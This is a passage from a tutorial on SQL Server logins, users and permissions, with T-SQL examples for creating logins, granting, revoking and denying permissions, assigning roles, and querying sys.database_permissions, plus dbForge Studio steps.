  • Object-Level Permissions: This is granted on particular items/objects in a database, like a table, view, or stored procedure.

Syntax for Granting Object-Level Permissions:

USE MyDatabase;
GRANT SELECT, INSERT, UPDATE, DELETE ON OBJECT::MyTable TO MyUser;

Create a New Login in SQL Server

Adds a new login to SQL Server with a specified password.

T-SQL:

CREATE LOGIN [NewLoginName] WITH PASSWORD = 'YourStrongPassword';

Create a New User Using T-SQL

Description: Creates a new user in the specified database linked to the previously created login.

T-SQL:

USE [YourDatabaseName];
CREATE USER [NewUserName] FOR LOGIN [NewLoginName];

Grant Permissions Using T-SQL

Description: Grants specified permissions (e.g., SELECT, INSERT) to a user on a table.

T-SQL:

USE [YourDatabaseName];
GRANT SELECT, INSERT, UPDATE, DELETE ON [YourTableName] TO [NewUserName];

Revoke All Privileges Using T-SQL

Description: Removes specific permissions previously granted to a user.

T-SQL:

USE [YourDatabaseName];
REVOKE SELECT, INSERT, UPDATE, DELETE ON [YourTableName] FROM [NewUserName];

Deny Permissions Using T-SQL

Explicitly denies specified permissions to a user, overriding any granted permissions.

T-SQL:

USE [YourDatabaseName];
DENY SELECT, INSERT, UPDATE, DELETE ON [YourTableName] TO [NewUserName];

Assign Roles in SQL Server

Assigns a predefined role (e.g., db_owner) to a user within a database.

T-SQL:

USE [YourDatabaseName];
ALTER ROLE [db_owner] ADD MEMBER [NewUserName];

Create a User in dbForge Studio for SQL Server

Description: Adds a new user through the dbForge Studio interface.

Steps:

  • Open dbForge Studio and connect to SQL Server.
  • Go to «Security» > «Logins» and select «New Login.»
  • Enter login details and click «OK.»

Assign Permissions in dbForge Studio for SQL Server

Assigns specific permissions to a user through the dbForge Studio interface.

Steps:

  • Right-click the database, choose «Properties,» then go to «Permissions.»
  • Select the user and check desired permissions.

Check User and Login Permissions in dbForge Studio for SQL Server

Reviews the permissions and roles assigned to a user or login via dbForge Studio.

Steps:

  • Navigate to «Security» and select «Logins» or «Users.»
  • Right-click and select «Properties» to view permissions.

Example

Example 1: Creating a Login

Create a SQL Server Authentication Login

CREATE LOGIN ExampleLogin WITH PASSWORD = 'StrongPassword123!';

Expected Output:

Command(s) completed successfully.

Creating a User

Create a User Associated with the Login

First, switch to the desired database:

USE ExampleDatabase;

Then, create the user

CREATE USER ExampleUser FOR LOGIN ExampleLogin;

Expected Output:

Commands completed successfully.

Granting Database-Level Permissions

Grant SELECT, INSERT, UPDATE, DELETE Permissions on the Entire Database

USE ExampleDatabase;
GRANT SELECT, INSERT, UPDATE, DELETE ON DATABASE::ExampleDatabase TO ExampleUser;

Expected Output:

Commands completed successfully.

Granting Object-Level Permissions

Grant SELECT, INSERT, UPDATE, DELETE Permissions on a Specific Table

USE ExampleDatabase;
GRANT SELECT, INSERT, UPDATE, DELETE ON OBJECT::ExampleTable TO ExampleUser;

Expected Output:

Commands completed successfully.

Verifying Permissions

You can check the user permissions by querying the sys.database_permissions view:

USE MyDatabase;
SELECT
pr.name AS PrincipalName,
pr.type_desc AS PrincipalType,
pe.permission_name AS Permission,
pe.state_desc AS PermissionState,
ob.name AS ObjectName,
ob.type_desc AS ObjectType
FROM sys.database_permissions AS pe
JOIN sys.database_principals AS pr
ON pe.grantee_principal_id = pr.principal_id
LEFT JOIN sys.objects AS ob
ON pe.major_id = ob.object_id
WHERE pr.name = 'MyUser';

Output:

PrincipalName

PrincipalType

Permission

PermissionState

ObjectName

ObjectType

MyUser

SQL_USER

SELECT

GRANT

MyTable

USER_TABLE

MyUser

SQL_USER

INSERT

GRANT

MyTable

USER_TABLE

MyUser

SQL_USER

UPDATE

GRANT

MyTable

USER_TABLE

MyUser

SQL_USER

DELETE

GRANT

MyTable

USER_TABLE

MyUser

SQL_USER

SELECT

GRANT

NULL

DATABASE

MyUser

SQL_USER

INSERT

GRANT

NULL

DATABASE

MyUser

SQL_USER

UPDATE

GRANT

NULL

DATABASE

MyUser

SQL_USER

DELETE

GRANT

NULL

DATABASE

Explanation:

This T-SQL query is used to check the permissions granted to a specific user, MyUser, in database MyDatabase. The USE command changes context to MyDatabase. The following SELECT statement retrieves columns from the following system views:

  • sys.database_permissions, sys.database_principals, and sys.objects. It retrieves the name and type of principal, permission name and state, and object name and type.
  • It simply joins the view sys.database_permissions to sys.database_principals for matching permissions to their respective principals, which are either users or roles, and then performs a left join with sys.objects for any object details associated with these permissions.
  • Using the WHERE clause, it filters only those permissions relevant to MyUser. As such, this query will enable an administrator to check, inspect and monitor exactly which permission is allocated to a user within the database.

Conclusion

Properly managing logins, users, and permissions in SQL Server ensures a secure and well-administered database environment. Adhering to best practices helps maintain data security and allows only authorized users to access and manipulate the database efficiently

Понравилась статья? Поделить с друзьями:
0 0 голоса
Рейтинг статьи
Подписаться
Уведомить о
guest

0 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии
  • Как поставить насос на отопление в частном доме на обратку своими руками пошаговая инструкция видео
  • Бициллин 5 инструкция по применению детям отзывы
  • Ушастый нянь гель для мытья посуды инструкция по применению
  • Стиральная машина margherita 2000 al129x инструкция
  • Инструкция по ключевому хозяйству в музее образец